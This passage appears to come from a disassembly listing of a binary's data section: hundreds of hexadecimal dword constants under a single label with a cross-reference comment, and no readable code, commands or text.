		dd 570B6321h, 289B0150h, 0C347FE75h, 761A9726h,	0FC4A304Dh
		dd 4B9DBF27h, 12D1DE2h,	668B51FEh, 585E1756h, 0BA01F5F0h
		dd 0F0CB0B3Eh, 59C0B428h, 75FC3CD0h, 97E9530Bh,	0C20E5939h
		dd 2F7EA8BDh, 3F7AA24Fh, 0A7E8E135h, 0D94CB52Ah, 258E7C83h
		dd 2CE04555h, 0F031C21Eh, 82FCFF90h, 0B8C1FE80h, 0E3095EF7h
		dd 6A74587Bh, 6870EE5Eh, 6104B494h, 37436E9h, 26CE105Fh
		dd 202500A2h, 2D46D943h, 99033A1Ch, 86012ACCh, 0E9229773h
		dd 9E003F3Ah, 1A6156BEh, 0C1295B47h, 7FE4514Eh,	0FB92D8F3h
		dd 40E96D30h, 0AD96949Ah, 0D20017EAh, 6D1B0635h, 2E433090h
		dd 825DE24Eh, 68E06BE9h
		dd 3D0A278Ah, 724427Fh,	0F4CA7BAh, 77F36727h, 6CC17E9Bh
		dd 5B36848h, 3F9D4BDDh,	9730CB9h, 36DC265Ch, 37C12Ah, 2EF77EE4h
		dd 284EE94Ah, 2A6055A5h, 24AB294h, 0D16D4FBFh, 0B0D52974h
		dd 0B32D41h, 5586665h, 229B0FC3h, 6AE9250Eh, 6E05B774h
		dd 9F05C2E7h, 0E3F2667Bh, 0FEE6D085h, 0B06654DCh, 0D963F76Fh
		dd 81ED8A41h, 0D3C36865h, 0EE10175Eh, 8D3116A5h, 608C08FFh
		dd 818F7648h, 1FB10920h, 96E43EDh, 5676666Ch, 2B6EC42h
		dd 0B1C1FD89h, 0D0933D1Ah, 27D935EBh, 6C8409D5h, 3B284A05h
		dd 79828214h, 2DC8D84Eh, 999DF51h, 98D7F846h, 0AB1108CCh
		dd 5EF4E783h, 0EB50F2A0h, 1E66970h, 4DBD755Ah, 38542668h
		dd 0DACCD639h, 4B6D17F0h, 2750AA5Ah, 0F6446008h, 98A417F3h
		dd 0ED9C30D8h, 354EF35h, 0F35523Bh, 0E74469E7h,	0CFD04F0Ah
		dd 79A37488h, 0C9BB3033h, 0FBA9F231h, 55166E7Eh, 20AED589h
		dd 0F4CE98Ch, 0A682FA9Ch, 0F5CE62FEh, 455F4C7Ah, 3B55891Dh
		dd 2D3C9Eh, 527B73Dh, 7F1482DDh, 5C533719h, 2AED63FDh
		dd 0BBE7EE85h, 0EEC7E10h, 60CCCE80h, 0EEC060E6h, 0B0500708h
		dd 802F2454h, 1DE902E8h, 2C0EE4BCh, 0F744E41Ch,	0AEFF3EBh
		dd 0A90DE268h, 0A30BDB68h, 0A068142Fh, 35E41Dh,	0BA5258D9h
		dd 44A82FA7h, 71D78AA0h, 97553F6h, 7BA45A4Ah, 3E960BEFh
		dd 51DC204Dh, 0AC45F783h, 0AC92853Fh, 49BD69B0h, 0C027EED8h
		dd 6CA4C275h, 1FBCB730h, 5F5D5009h, 0C7005745h,	2BBA2156h
		dd 0C5492CE9h, 71A9812Dh, 715D173Bh, 0F1A0F4ACh, 4D09C399h
		dd 52B2F5ADh, 657D8B4Ah, 9B97BFC8h, 0AE28FEDCh,	0A6665EFBh
		dd 0D63C2DDEh, 7668C067h, 484B973Fh, 9151EA28h,	0B4500908h
		dd 0F9F681C4h, 8D88A4B3h, 0CBEF8188h, 82278748h, 7465280Ch
		dd 0C75240B0h, 8A0B2F2Fh, 555373C8h, 0AED2E924h, 299140AFh
		dd 3AF2862h, 0D1D760FEh, 167C18EFh, 0B9DEFEFDh,	5B2F0820h
		dd 0F7BA7D58h, 894F59DDh, 33C4287Fh, 0F02A549Fh, 759985E1h
		dd 0AA64A64Ch, 0A2A357A4h, 54D9588Eh, 0F72F81BEh, 30B43106h
		dd 0F9C0C82h, 0D0DD5B55h, 796D0C32h, 0C1C7FE3h,	6B954402h
		dd 0C6A422E9h, 0E1ACB4D3h, 3E68C0E9h, 40FB70D5h, 5D46A62Ch
		dd 0B8055059h, 4D8558Eh, 297232FBh, 8449B976h, 0BF172CE4h
		dd 65F6754Fh, 0E85939D5h, 906F5A30h, 5CE388B4h,	0D689D402h
		dd 7AD199E9h, 61ADEDF5h, 84B97E76h, 1D346AAh, 0AEED13BAh
		dd 33C35FC0h, 248C3E14h, 9643DEA8h, 0E9560264h,	25578478h
		dd 12AA7F40h, 0D058A8FBh, 7B712DBFh, 8F9D08F5h,	0D5C2811Fh
		dd 0DD7D6759h, 0E7F8FCC2h, 0C3F3574Ah, 38470892h, 1154F340h
		dd 0A67460D0h, 1B316DEEh, 406CE91Ah, 58827724h,	4DD75652h
		dd 0E95C824Ch, 786895E5h, 3A003568h, 2D584392h,	0E9E4088Ch
		dd 2731ADE8h, 0A87C15AEh, 2A48C181h, 0D1600A7Ch, 0B559BD9Dh
		dd 0CD92844Fh, 0E20158E9h, 1457073h, 0E9918BF9h, 7677E282h
		dd 7A059C83h, 6623EE0Fh, 56FBF9E6h, 0F2B2565Fh,	0BD3E3DC0h
		dd 3500583Ch, 1AF41CEh,	9801105h, 0A5E9C2EDh, 10CC9258h
		dd 4BC0062Bh, 358ABC28h, 12EA4F70h, 0A985FA44h,	0FEB4CCFCh
		dd 6F447E81h, 1B22716Ah, 0C0BC93B3h, 0C7FEAB00h, 3CB15166h
		dd 7ACC8052h, 17E70710h, 5D0630ACh, 5B77D57Eh, 0CEEACCD6h
		dd 34710903h, 0D8BD5545h, 9F429179h, 0C5F13624h, 1F97E99Fh
		dd 0B76626C2h, 28CABC3Eh, 0EB308EAh, 0EA94E820h, 59ED8812h
		dd 0E292513Dh, 5A443145h, 0B0AC7A56h, 0D39F01B8h, 0CFD12F73h
		dd 13FB0265h, 0CBEE8A47h, 1CC45F58h, 9CF6E924h,	6125A8A8h
		dd 8106534Eh, 727BB951h, 0F181CC4Fh, 2D0D7F60h,	4EFA0E1Fh
		dd 0A4A8467h, 413E5907h, 6A1D36E9h, 0E9C247CBh,	0A3753B39h
		dd 20505FB2h, 801CC0A0h, 0C4C2ADE4h, 40E688CDh,	0B669F7FAh
		dd 7C76834h, 0DB2968A8h, 55316FFh, 66215DBAh, 47D59071h
		dd 0E918C731h, 0C595F7F0h, 2BD01834h, 42B42EA3h, 4026AD25h
		dd 2F152837h, 10D562ABh, 55096822h, 0B0984221h,	6E64D94h
		dd 10202D12h, 4BBF4EE0h, 8498FCCEh, 0BD126737h,	62452DD7h
		dd 7DE7FD7Ah, 0FAC6E985h, 0B276088h, 5E0A8021h,	0E5C48F5Fh
		dd 0F2AAD087h, 0FD60169Ch, 68833DF9h, 4D183A81h, 0B7C1B52Eh
		dd 5BE6954Ah, 68584396h, 8B064BBFh, 0EA0116F2h,	6C481ADEh
		dd 587A4975h, 75FE2B84h, 0ABA550A8h, 5CF65739h,	446F1733h
		dd 0BAD0F79Dh, 0B43C2A36h, 31B2012Bh, 3E2118B8h, 9B57A804h
		dd 0F1D0AE12h, 7E4D2740h, 4C186E28h, 0EFFA0904h, 5C71D801h
		dd 0E0943E50h, 3600F95Dh, 5C99B6Ah, 0F8772492h,	2D50CFB8h
		dd 5D26E907h, 42A4337Eh, 0DB36F20Ch, 1B22121Ch,	0A310EE04h
		dd 0F6AC5007h, 59C7571Eh, 442BCACFh, 0A6842936h, 5B1A0718h
		dd 69E22F76h, 9EF145Fh,	5F545753h, 33E467F9h, 0AE2FE904h
		dd 61B9F900h, 9F089F29h, 82608342h, 0D4C7CEDh, 3A0713CEh
		dd 35D080E8h, 0A4D1BF96h, 0F32BFF68h, 5852181Dh, 9256E99Dh
		dd 0D2BD0742h, 0A43AF139h, 1D9DFC2Ah, 1ED3ABB6h, 0B0C1DB90h
		dd 6C243079h, 5F144E86h, 8CEC6672h, 0F660E26Eh,	28328197h
		dd 0FF07DFD8h, 4C86331h, 9F22FA7h, 0AD99B105h, 0D2B83E5Dh
		dd 10DE8BD7h, 5838FB6Dh, 28DA05AFh, 0CCB23EFFh,	4F1804D2h
		dd 0C5F2DD1Ch, 0E4423F76h, 400121FCh, 829D5F23h, 688D215Dh
		dd 0E336EEFh, 0E1DBB078h, 9D29E9C0h, 0D3501E0Bh, 127A0F20h
		dd 0E82A1768h, 1610CEBCh, 0FEE520E8h, 0DCDCD682h, 8FBA00CCh
		dd 4A35DE23h, 92EA313Eh, 0C337D443h, 0B2A4EBA7h, 8B35C6D0h
		dd 49452826h, 4F067DECh, 0A923C56Bh, 135A64CAh,	9D095414h
		dd 0A3028B0Ch, 0BB5DA928h, 694FDABCh, 50D94927h, 7D5FAF52h
		dd 7D27C6FBh, 11E9C6B0h, 0B1A05CB2h, 0D1356EEh,	974B1CF9h
		dd 9EF65CCCh, 0EA167C88h, 0A3D4B8A4h, 1CC4EFEEh, 2478D2E2h
		dd 4132B789h, 20B3342Dh, 0E2ACCD1Bh, 0B85881B4h, 45301C6Bh
		dd 4B56E29h, 0DA1C6F21h, 0B4E14C6Fh, 0B27857C1h, 73EBD205h
		dd 538FD079h, 4BE12B3h,	1475FEB3h, 365907DEh, 0CF600286h
		dd 7C5B2E95h, 8CF70401h, 85B787BEh, 0BA0541D3h,	2BB0642Ch
		dd 4D463E0h, 0D1294849h, 0F447FFEAh, 6900412Eh,	92EFA8E9h
		dd 527D382Bh, 0E65FE4Ah, 0BB3F9CABh, 168EBD80h,	92E7074h
		dd 20F6CF2Ah, 98F1A364h, 0C9DEFA28h, 65F6AD1Fh,	0E17D3351h
		dd 85878C35h, 4B7F4699h, 0F304FD77h, 0E49AE6D3h, 0C327D58Eh
		dd 6676ABE2h, 61A3871Ah, 2B8B28CDh, 0B565FA01h,	390144B8h
		dd 59AD88D1h, 58442A1Ah, 0D5EEBD27h, 59501196h,	0B440D612h
		dd 0D829245Ah, 0D0731376h, 31C7EA08h, 1CB0FD7Dh, 74B17DFCh
		dd 0BE56E700h, 1F50852h, 44CE8154h, 82312B6Fh, 400AE00Ch
		dd 0F775427Dh, 4F62223h, 94890DAh, 1D2F285Eh, 0FE36D872h
		dd 0A34CB5DDh, 0ECB73E7Dh, 425BB7C7h, 41520982h, 0D144E048h
		dd 0E1585E03h, 0BFFED463h, 0E9B714B8h, 0E96E527Eh, 6C05B540h
		dd 38AAA99Eh, 88090594h, 0E12BB508h, 6C386B6Ah,	7D24D349h
		dd 803A007Ah, 0E95269CBh, 5D9C8A2Ah, 266DBA04h,	0A6C027A2h
		dd 5CDC3753h, 1062917Ah, 0F2D45773h, 1B6AED1Ch,	51C2B60Eh
		dd 0F580C3B5h, 0BFF29F6Fh, 7B076020h, 0E831801Eh, 2BDC5E4h
		dd 77B1A245h, 0CCC2B651h, 0E14C4805h, 19299FEBh, 0B430C05Fh
		dd 0E72816CEh, 0AF60B066h, 880B4142h, 41DC52FEh, 0DA3FE984h
		dd 0A235A3C9h
		dd 0E47FA1E9h, 0A42CC2ADh, 0F12082DCh, 0D0036B0Bh, 14035E63h
		dd 0D14A08EFh, 0D2D85Eh, 0C473C168h, 0F4DFE8A1h, 0B44AF920h
		dd 0DA501E91h, 0D3DE65B0h, 0B62B12Eh, 0D419F1C6h, 0F4F173B6h
		dd 53D2D96h, 82F68A71h,	0C59940FFh, 11574042h, 6333E913h
		dd 2B27E0F9h, 0C0322898h, 24A55FDFh, 0D0815F54h, 0A02E3110h
		dd 450BF276h, 7813D354h, 0AE09075h, 23EE6E35h, 0AB5D129Ah
		dd 2C0B8D50h, 0D6088A57h, 0F7290BBBh, 0E9197E9Ch, 0CD239860h
		dd 0AD67920h, 1068041h,	25DA2D62h, 68AD594Ah, 2834B55Bh
		dd 65F384CDh, 4F2F22F4h, 0D690E311h, 89536F13h,	0D4F482BEh
		dd 0EBCDBD85h, 0D3D25999h, 0C1880287h, 1BD70168h, 0D2CBD397h
		dd 261B7FFBh, 0BF53D9D1h, 0E3DEA71Ah, 0E9F90A07h, 0B1AE46CEh
		dd 3F871BB2h, 0C1EF7425h, 3A4CD0CFh, 54BFE3D2h,	937E53C7h
		dd 0F61A9C27h, 0E705F0ECh, 856AD3B7h, 0E0505855h
dword_4E414C	dd 5B17636Fh, 70402D5h,	39BBE4FCh, 0F0CDF826h, 209A449Fh
					; DATA XREF: ___:off_42DE44o
		dd 5A021445h, 6617C580h, 0AB2C6052h, 9098B2DEh,	0D073201Eh
		dd 60D5B780h, 0C43F6681h, 6B21FFC7h, 0A22F78A4h, 0C653CFF4h
		dd 793CC3Bh, 57260BF2h,	0C30AB259h, 5C0F1EE4h, 64433332h
		dd 21BFF4B5h, 739715DDh, 0EDA85A6Dh, 2D1F6882h,	0C0C7D49Bh
		dd 5940ED61h, 3341A394h, 5FF66E57h, 0D22D6AF3h,	1305E643h
		dd 44A7372Ah, 0E1493h, 8CD48FBBh, 40315F77h, 55F53FC1h
		dd 82EF52E3h, 834FEBF2h, 4B9854Dh, 0DAE89153h, 3E060B81h
		dd 354CF918h, 73126859h, 0BB403B05h, 0A7A08960h, 154B0BEBh
		dd 0B7890B0Fh, 197547Ch, 9FCB04EFh, 89F3BADBh, 0B1B9497Ah
		dd 17685B05h, 0BFFE8C6Ah, 74790A1Ch, 899DFC25h,	3D51CD42h
		dd 3D92DF25h, 9960F289h, 0C8A3C809h, 16A8AB82h,	33310F6h
		dd 143425BFh, 0F8564A6Dh, 718105B6h, 4EAF22CCh,	5F85EDFDh
		dd 0FD92C32Ch, 2D092200h, 0E3C14CFCh, 0C2AB805h, 3CED1B17h
		dd 5A7558F4h, 83FC484Bh, 0EA255F3Ah, 0E91022E6h, 0FA5AD688h
		dd 0E8F67552h, 0CA52FA5Bh, 10915209h, 95281B51h, 132211CEh
		dd 0FAEB0702h, 0B31D3B63h, 0F026AF0Fh, 38E5615Bh, 0B85E5BECh
		dd 0E9F9F547h, 14D7568Bh, 5F5E2DF7h, 0D6701C7Fh, 0AF9CEE0Dh
		dd 0DDE912D6h, 0F288BABCh, 30A75AECh, 5D846850h, 0B5594CBDh
		dd 0C803F85Bh, 3EB879E9h, 0B326AC0Eh, 536F084Eh, 348FBF01h
		dd 434C2C70h, 0E90C1626h, 97EF0077h, 314B74D7h,	21275AE8h
		dd 4A78D9F8h, 0CA270BEAh, 0FBBF44EEh, 0A3794BD4h, 0E9F2C58Ch
		dd 1F8EBFFDh, 78580F22h, 688B49DEh, 48CCFE40h, 0A9902FB2h
		dd 60F450C2h, 2DE94812h, 17B8A8C0h, 681B2C4Bh, 20202EE5h
		dd 0BDFBAC87h, 521C0D42h, 9ACF9BDh, 4C5DA8B6h, 9270F63Bh
		dd 0F3282517h, 0C3C25B1Bh, 0D84807F5h, 6BF9EB05h, 0F2EB808Fh
		dd 8F9740FEh, 85E9E006h, 3EDA9563h, 947A35Dh, 9839D068h
		dd 4B9666Bh, 3E91559h, 5CA7B25Ah, 17E9A10Eh, 452F1625h
		dd 0EDAF4E8Bh, 8BC0D6DCh, 0BF4A197Ch, 5F25560h,	4A4FD995h
		dd 8A20935h, 0E9588C54h, 0CC4E5AB0h, 0C29F8A88h, 96C5F4Dh
		dd 8BB7CAF8h, 0F30EF56Ah, 2A0EBC76h, 0CDCD955h,	7C23A21Ah
		dd 30590668h, 0D2FE47C6h, 0E5C4EF54h, 4218B509h, 0E5E3E30Dh
		dd 0AD5F4AA8h, 0A7DA8696h, 70F60431h, 871AD53Ch, 4461D0EEh
		dd 1241C7Eh, 82237F1h, 8B58C118h, 954AB4C9h, 3EB2B4D3h
		dd 4C0B78FBh, 0CE076C57h, 0C233EF03h, 8C59A166h, 5DB13999h
		dd 65213682h, 59F00441h, 1D6B9822h, 0C0A63EEDh,	0A9BF5720h
		dd 6E16060Ch, 9CA094E9h, 68840CB9h, 80465360h, 570A0DD2h
		dd 98A69CCBh, 75C4101Eh, 0E4C40920h, 1DB7F201h,	7A9249D4h
		dd 0C08057EAh, 0C07F6607h, 8758130Bh, 366D514h,	52A74022h
		dd 0B12AF081h, 0BDBA4ACBh, 0D5291371h, 0F5C6EDA2h, 512D3FDFh
		dd 0AC459821h, 605F2E46h, 12BD39EFh, 2F704DACh,	6E41076Ah
		dd 912032E4h, 21AED632h, 6C7EE9E3h, 5B3D58C6h, 3B6539BEh
		dd 981379A9h, 0A81E36Dh, 0B53207FFh, 24A0061Eh,	10ADC729h
		dd 58BB02F2h, 5F3B3039h, 0D48163C0h, 9BE91997h,	5D1AE2C3h
		dd 2D034421h, 68B5F81Fh, 0B3E2504h, 0C7D01156h,	0B8FFEDFDh
		dd 40A35A8Ah, 0BA730B49h, 0CBAA2916h, 0BF580804h, 0EF8EB644h
		dd 79C4B2BBh, 7AC165F9h, 0B040BCDAh, 0A8300BDDh, 4C5531h
		dd 39EAC920h, 0F125DE89h, 1B42065Eh, 1DD80985h,	44F5A69h
		dd 5FE9CF22h, 5A86BFD0h, 50B54EBFh, 0CA0139AEh,	0A9DA2A3Dh
		dd 71F99657h, 0E191B85Bh, 0F980EF8h, 5011BAF5h,	0FB65302Fh
		dd 0E6430CF7h, 6C0FCFF7h, 694BB005h, 0C1BD60D1h, 6DEB8EBh
		dd 25623EE3h, 560B0C15h, 817F7B60h, 21201634h, 94E66ACh
		dd 53C0A8E9h, 0F85A2858h, 5C2C3228h, 0A63F80A1h, 38DD9FE6h
		dd 1B67302Fh, 4887C999h, 44D77D78h, 4413E0h, 7876E3BAh
		dd 969C58h, 56592AE2h, 0D5D6E913h, 6804DA80h, 30244E91h
		dd 5728D5B9h, 4DE91F4Eh, 0B976C000h, 2356E954h,	0FD2623BBh
		dd 68525340h, 30465BF3h, 0E732D667h, 0E95E111Dh, 301CC798h
		dd 7AB0B5F8h, 989F0261h, 0BF66A4ADh, 0E92F72CCh, 0F842A71Dh
		dd 7B9CC272h, 4F3B0877h, 8AEA10B4h, 0AEFC4B3Ah,	39E0E44Fh
		dd 258A840h, 72F26853h,	7F761CFh, 8D264ACCh, 0E0482A66h
		dd 4E325F3h, 36E11E2Fh,	7FE961D8h, 5AD3FB40h, 3C53822Dh
		dd 517F2E80h, 16290705h, 58107D58h, 0BB814B54h,	0F73ED76Dh
		dd 826A7BAFh, 0F427B317h, 0D0CB0CBh, 3D4C5F15h,	2A9305C4h
		dd 19875C33h, 0DAD88B7Fh, 0CC08567Bh, 7A1BB805h, 0AADA8106h
		dd 0CF8004C8h, 4B8C484Dh, 4F09AA38h, 824CD75Ah,	5C1D3CF7h
		dd 37EFA773h, 38BD98F0h, 1B2DFE61h, 764A1478h, 0F1241849h
		dd 4FF0ADCEh, 0C2BCD695h, 2901BB62h, 902A5FFEh,	0AD1890D0h
		dd 69ECA6B8h, 0CE605B81h, 2A39411Eh, 175C4804h,	0AB0A35EAh
		dd 0F2BC8279h, 13C35909h, 2F5B7681h, 0F9006F57h, 7A1A88D8h
		dd 34D75C01h, 0D08B852Fh, 0DFEA7774h, 6AD942h, 0B61258B8h
		dd 75022D71h, 0F7283757h, 9172FFD8h, 1655D482h,	9B1A4EBh
		dd 20A9276Eh, 16AE4604h, 3861FBF8h, 47402FF1h, 4C83A0F6h
		dd 0BBFC1B88h, 8276E7h,	3A3041CDh, 793842C7h, 0C5CF0E33h
		dd 21F37201h, 6DA2E194h, 0F4F601BCh, 56151261h,	0BB66AA47h
		dd 7C304ABh, 0BF6EEE16h, 9D4317A1h, 6B7E8906h, 0A882D5E6h
		dd 90D1F57Bh, 0D63D10C9h, 55C1B2C5h, 0A5E8A494h, 887DBC69h
		dd 532FE279h, 26CC8845h, 5C8A006Bh, 2C15D24Dh, 1470E0D1h
		dd 0F204E304h, 123F668h, 2ED6980Bh, 47B8B16Bh, 0BF0FA883h
		dd 77EA47ECh, 51C883A3h, 0B6F1BE70h, 1493E67Fh,	9763CE01h
		dd 0E90838EFh, 5AB71F25h, 40CC90BFh, 3FFBF6DCh,	53123BEDh
		dd 48A5B66Fh, 0B8C55B95h, 50638AABh, 32AADD8Eh,	0D88C8456h
		dd 77286AADh, 6C6520E6h, 0EF814F01h, 19E1266Fh,	0E7F7F12Eh
		dd 2C01DDA1h, 62B227A9h, 185955E0h, 0E91051E5h,	6A4206ABh
		dd 4E0B5868h, 0FB00EE59h, 602D6BEBh, 0C10CDF4Ch, 11CB915h
		dd 0B8C46FCBh, 0D0890905h, 4626C2h, 12B6A235h, 7F317827h
		dd 1BCAFD80h, 0CC172C1h, 36E7E94Ch, 9C4853Ah, 8C52F202h
		dd 4AFF29F3h, 0E91A28CBh, 0A05FD7CAh, 3A015584h, 3410F15Ch
		dd 2A7BD61Bh, 0E8E37EF5h, 50560C40h, 0A1291ABEh, 0C02F08C1h
		dd 20224A71h, 32DE6C7Eh, 0D09087E4h, 0F67AE05Fh, 0C7FED701h
		dd 30B4EF80h, 85D5C5DAh, 0A8DA6FE9h, 23139EEAh,	68C332FCh
		dd 0AA847E9Fh, 0FE4FC2A7h, 9DA62634h, 451C381Ah, 0C76BB89h
		dd 14A5EB58h, 0FE10AA17h, 857AAF18h, 0CCFF01C6h, 0AD2406B2h
		dd 5000F96Dh, 0E9073F65h, 5FBCAAA7h, 0BD0090F2h, 45AF588h
		dd 74E828A3h, 89D8952Ch, 94BF927Ah, 645E9DA3h, 89CDD52h
		dd 90DB758h, 0C13CE9CFh, 807C667Fh, 0D5893E74h,	0EFABEC12h
		dd 357ECD8Bh, 801CCBD4h, 5341D15Ch, 72B2D7F4h, 28F2B50Fh
		dd 0D47C26EBh, 0C6860D27h, 4108C0FEh, 485EF31h,	0E50D1C90h
		dd 68D6067Fh, 0CF02D48h, 0B613F84Bh, 0C40858Dh,	0BD314F4h
		dd 0B265E97Dh, 560B39F5h, 80233C70h, 5168A2Dh, 0C7EC4E01h
		dd 2D6B0741h, 0E98D41A5h, 36E2CF6h, 2815C280h, 0ABEAABFAh
		dd 164CB75Bh, 0EABFA347h, 0C9CA87D7h, 53E97F20h, 0EEADA9CEh
		dd 80F1A130h, 57FE5C1h,	0A0F91B27h, 8E3EA60Fh, 1284B201h
		dd 0A66CDF68h, 0CF604E00h
		dd 4043E9CAh, 0A81FB090h, 0B6DC4E34h, 279CAD9Dh, 958C609h
		dd 0C7EF8218h, 0C15D00F7h, 534E03EDh, 485AC7h, 87710D68h
		dd 4E4E5E6Eh, 0E90490B6h, 0AA6BF65Bh, 0C781D804h, 95F4DE9h
		dd 1224A65Dh, 4834C057h, 5E7CBC40h, 5017745Dh, 0F11381E4h
		dd 90BA6A64h, 0B248D41Ch, 0FD2DE9F4h, 0C59D20B0h, 60FB598Bh
		dd 2D40C04h, 17C3382h, 8A0EDFCh, 809571E9h, 1544BEADh
		dd 0BE0B5B79h, 2583B55Eh, 0D1906395h, 5C98A567h, 0C1C5EE56h
		dd 8D037582h, 0FDC36E18h, 523BCE1h, 2A482201h, 0DF702E3Eh
		dd 72FCEF08h, 2127B755h, 0AB5D34EAh, 68ECF48Dh,	900F7FBAh
		dd 0AB8F828Fh, 9DEF498h, 0DDD4C0B1h, 7F804A52h,	6C97B916h
		dd 0A4D15C8Ch, 0D333BC4Bh, 0ECD6320Bh, 9F852F5Ah, 0B6E836D7h
		dd 0C87515AAh, 28ADA04Bh, 9F1ED8BFh, 5C5A6EBCh,	0BDEC30EEh
		dd 9E5043FDh, 0B8400CDCh, 395C2D68h, 91889A59h,	96B28CBh
		dd 0B9FB64F9h, 0C65A20FFh, 90D139AAh, 0EEE1ED1Fh, 92010844h
		dd 3BB762EAh, 4D5E932Fh, 1E5CFF30h, 32F2D89h, 0EF58113h
		dd 6E12AB02h, 0D9BBAD92h, 0F80B7FE4h, 0C56D022Dh, 0B1E2F567h
		dd 5FE90702h, 0DD780D5Fh, 0E29CA83Eh, 2F644059h, 0AEE88338h
		dd 719FF828h, 0FFF62F5Fh, 0ADFAD430h, 316E2EEAh, 5CD70E32h
		dd 55CABE13h, 0D5FE9492h, 8686A065h, 0BECC2EFFh, 8EC34B45h
		dd 0BD680261h, 406DB10Ah, 25C8EB9Eh, 0ADD66213h, 0EF00BFCAh
		dd 95C5B71h, 0AC5E4BF3h, 41680991h, 1964604h, 62143ABCh
		dd 0C1D2ABBEh, 48E02BF3h, 0B8019846h, 0AC21515Eh, 3AB8893Bh
		dd 86AB0DFh, 13B2026Ah,	605E0E8Fh, 70EC5000h, 9D389F1h
		dd 749D685Ah, 69612031h, 37391124h, 0E5656A34h,	0B6EF8D5h
		dd 0B0EFA3BFh, 55C3825Dh, 0D6524B74h, 6C3C23Ah,	0A282C32Ah
		dd 8B30AC59h, 84332C1h,	502080Ch, 83119F29h, 0F73CE61Ch
		dd 0B52DE923h, 4223E2AEh, 44AA5BBDh, 6C58AB6h, 61CAF929h
		dd 2D5C0EA4h, 0A9767802h, 702B0352h, 0B0C15F2Ch, 0AE40B847h
		dd 1CCFBE58h, 7F08C581h, 0DFF1014Ah, 2F1FBBE9h,	8739635Fh
		dd 0FB096C30h, 0D19293D2h, 779C85B0h, 7400AA82h, 1EEE39B0h
		dd 80554B52h, 0E923BE36h, 28F05D5Ch, 0DE8B07F2h, 2C68CBE1h
		dd 1B27C08Ch, 7F017455h, 301659D0h, 1624B22Ch, 0EB80F402h
		dd 104C050Fh, 0E183642Eh, 5078CEBEh, 9897E73Ch,	0C757DFAh
		dd 79BF2A7Ch, 0CF4C310Bh, 0BAE90F2Ch, 0A47A8E08h, 0E8C87BE7h
		dd 2E521328h, 32C00046h, 0C5313C99h, 0EEA2E92Eh, 74F8A7BDh
		dd 0EB4B3A81h, 15D7F228h, 72111768h, 0AE6BB212h, 0C1D996D2h
		dd 208BACE3h, 0EBF45A5Fh, 50EF9A53h, 95D3907h, 0CF7B1CA5h
		dd 729CA509h, 0EBD720F3h, 5277F6B5h, 1DFBBC1h, 0B7DDC228h
		dd 458B139h, 0A631E824h, 0D8EF0BF6h, 90CB10C8h,	0FC37FE3Eh
		dd 8C321CBDh, 0D47CBD7Ah, 35E920CCh, 0FF24B6BDh, 20128086h
		dd 0BF009D6Bh, 20CA5B99h, 0D29BF781h, 4ECBBC0Dh, 6F541191h
		dd 0C99CFA05h, 0CE7AEF65h, 98553F47h, 0C31F9244h, 0C6531EA9h
		dd 5AD2CC27h, 4A0BEF17h, 7F0B7D43h, 470330Bh, 73CE56BFh
		dd 56581901h, 0F89AE954h, 0C02BD565h, 0ED8057D5h, 822E787Dh
		dd 0C48FF5F3h, 24EC61AAh, 571E630h, 8353C16Ah, 0A0E33FEEh
		dd 1B1AF292h, 0B51C7C8Ah, 12F2E3FBh, 2FB4CF4Ah,	0CCA54A21h
		dd 7F58D092h, 0B70FC1F6h, 96056C8h, 0AE18B53Bh,	219ACAB1h
		dd 0E0529B5h, 0FBF01646h, 0BBF2BF5Dh, 0F74BF585h, 0A3813F1Ah
		dd 23479168h, 0E970405Dh, 453A6230h, 3DABB7F1h,	189786B5h
		dd 0D470FBD0h, 584EB652h, 741C8428h, 0B2572D49h, 1CD60280h
		dd 3416C0Bh, 21EA42B2h,	0B2EB6BEh, 0D9880131h, 566804CCh
		dd 4FCFB35Ch, 7F0B51C7h, 0A9A5A2C7h, 60437DD7h,	593D503Ch
		dd 294189AFh, 30BE6D63h, 133468A5h, 462A2F31h, 5292A04Fh
		dd 7F7ED859h, 0D6844058h, 0E9803CEEh, 0E6836827h, 2BE02568h
		dd 0EB426AE8h, 0DC98D072h, 5D6BA209h, 96EAD728h, 0E9043DF6h
		dd 64EDFA51h, 8305617Dh, 0FCE404F0h, 17B21224h,	1008EB3Ch
		dd 680B1C73h, 43462342h, 0C517D309h, 8C6F0774h,	0D56EDD0Bh
		dd 2B2E7186h, 70C11B2Fh, 0A03E9710h, 0E1129D9Eh, 0D800F7E5h
		dd 203B5774h, 0F831ED29h, 31580800h, 0F3E913DAh, 0AF6F23Dh
		dd 0FA131660h, 2056312Dh, 0BB2DFB3Ch, 2988AA56h, 4470A95Ch
		dd 4C58E858h, 9B8B9D8Ch, 8334D7E5h, 0EA270F9Eh,	6A8659C7h
		dd 4E378034h, 0C15A772Fh, 7393EA58h, 3806AA79h,	0C067E983h
		dd 0ACF85B65h, 77B5027Bh, 2801493Dh, 0C1581F08h, 0CD1947CFh
		dd 36822E44h, 5EEC4C2Dh, 5CE30A71h, 43BA5044h, 0E97CA00Bh
		dd 81CD6098h, 44B509E2h, 1D002A64h, 9D38D42Fh, 95D570BFh
		dd 5EC48477h, 880468BCh, 0C3D7F6F7h, 0FF975B4Fh, 4B62E3C6h
		dd 46EBEA06h, 2C43FABh,	369F0CE4h, 808D701h, 6095E909h
		dd 0EEEC86D7h, 0A9A45E13h, 0F2A9894Eh, 0BDE13465h, 0E20BC71Ch
		dd 0FFE0D51Eh, 4E1B10E7h, 0C80C069Fh, 0C01F2748h, 0D6334F74h
		dd 0F9D4799h, 7526E06Fh, 0FED16B51h, 2FBB2968h,	7A539ED5h
		dd 30E54C80h, 0F3CB815Bh, 464BA5F2h, 0B2E0A1B5h, 0A70C5051h
		dd 12DC0BEBh, 23FD8942h, 558C75Dh, 0E11F38F6h, 50588243h
		dd 6E0F4740h, 0C028F924h, 0B95AF100h, 5FFD214Bh, 27CA85Fh
		dd 0CB3655E5h, 385BC07Eh, 3F9809FBh, 2A507BE9h,	0F71C5ED3h
		dd 0B950CBD9h, 0B0540BF4h, 77EB0DC7h, 7B92201Ch, 26E9CD43h
		dd 0A23A50E4h, 5D57122Fh, 0F90BB145h, 9D853F4Bh, 2E2F75C8h
		dd 103BC630h, 522C12A0h, 0CDD9A1AAh, 185CF4C9h,	88AB1AD2h
		dd 8B54CCC0h, 4E09CAF5h, 2BD418h, 0FE7A6B1Ah, 27A1BCAFh
		dd 68848B65h, 0FA8C5FF4h, 138CF257h, 0B93ED230h, 0C0ED2D58h
		dd 0CCBBDFAh, 4D458F0Bh, 1014B3F0h, 6956AD3h, 4AC04BF1h
		dd 0E311160Ch, 5393C20Ah, 1CD7B075h, 585580A5h,	4CA94B5h
